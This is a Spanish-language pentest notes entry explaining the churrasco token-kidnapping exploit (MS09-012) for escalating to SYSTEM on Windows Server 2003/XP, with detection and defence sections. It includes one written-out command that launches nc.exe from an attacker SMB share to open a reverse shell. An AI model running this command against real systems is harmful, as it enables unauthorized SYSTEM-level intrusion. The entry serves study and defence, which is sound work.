churrasco (token kidnapping)
Arsenal completo de comandos en la cheatsheetchurrasco es un exploit clásico que escala a NT AUTHORITY\SYSTEM en Windows Server 2003 / XP abusando del SeImpersonatePrivilege mediante la técnica de token kidnapping (secuestro de token) descrita por Cesar Cerrudo (MS09-012).
El privilegio que abusa. SeImpersonatePrivilege permite a un proceso suplantar la identidad de un cliente que se ha conectado a él. Las cuentas de servicio (IIS, SQL...) lo tienen para hacer su trabajo. La idea del token kidnapping: forzar a que un proceso que corre como SYSTEM se autentique contra un canal que el atacante controla, robar su token de suplantación y crear con él un proceso nuevo. Ese proceso hereda la identidad de SYSTEM.
Por qué churrasco y no JuicyPotato. La familia Potato (JuicyPotato y derivados) explota el mismo privilegio, pero depende de CLSID y de un servicio COM/DCOM que solo existe en Windows Server 2008 en adelante. En las versiones más antiguas (2003/XP) esos componentes no están, así que JuicyPotato no aplica. churrasco es la herramienta equivalente para esa generación: mismo objetivo, mecanismo adaptado al sistema viejo.
Uso típico. churrasco ejecuta un comando como SYSTEM. Un patrón habitual en cajas sin salida directa es hacer accesible nc.exe por SMB y pedirle que lance una reverse shell:
.\churrasco.exe "\\<lhost>\smbFolder\nc.exe -e cmd <lhost> <lport>"(En sistemas tan antiguos, el smbserver.py se levanta sin smb2support, y a veces hay que repetir el intento porque la máquina responde lenta.)
Dónde encaja. Fue la escalada final tanto de Grandpa como de Granny: dos cajas que entran por vías distintas en el mismo IIS 6.0 (el BOF de la versión y el bypass PUT/MOVE respectivamente), pero que comparten el sistema operativo (Windows Server 2003) y, por tanto, la misma escalada por churrasco.
Relación conceptual. Es el "antepasado" de los abusos de SeImpersonate/Potato: misma raíz (suplantación de token), distinta implementación según la versión de Windows.
Cómo detectarlo. La firma es una cuenta de servicio (el w3wp.exe/inetinfo.exe de IIS, o SQL) lanzando de golpe cmd.exe/nc.exe como SYSTEM: un 4688 (o Sysmon Event ID 1) con churrasco.exe como proceso, o un hijo con salto de integridad a System y padre el proceso web. La recuperación de nc.exe por SMB deja un 4624 LogonType 3 y tráfico 445 hacia la IP del atacante. En estos sistemas tan antiguos, el registro es pobre, así que el linaje "servicio web -> shell SYSTEM" y el acceso SMB saliente son las señales más fiables.
Defensa. Parchear (MS09-012) y, en realidad, jubilar los Windows Server 2003: están fuera de soporte. Reducir el uso de SeImpersonatePrivilege en cuentas de servicio y aislar los sistemas heredados.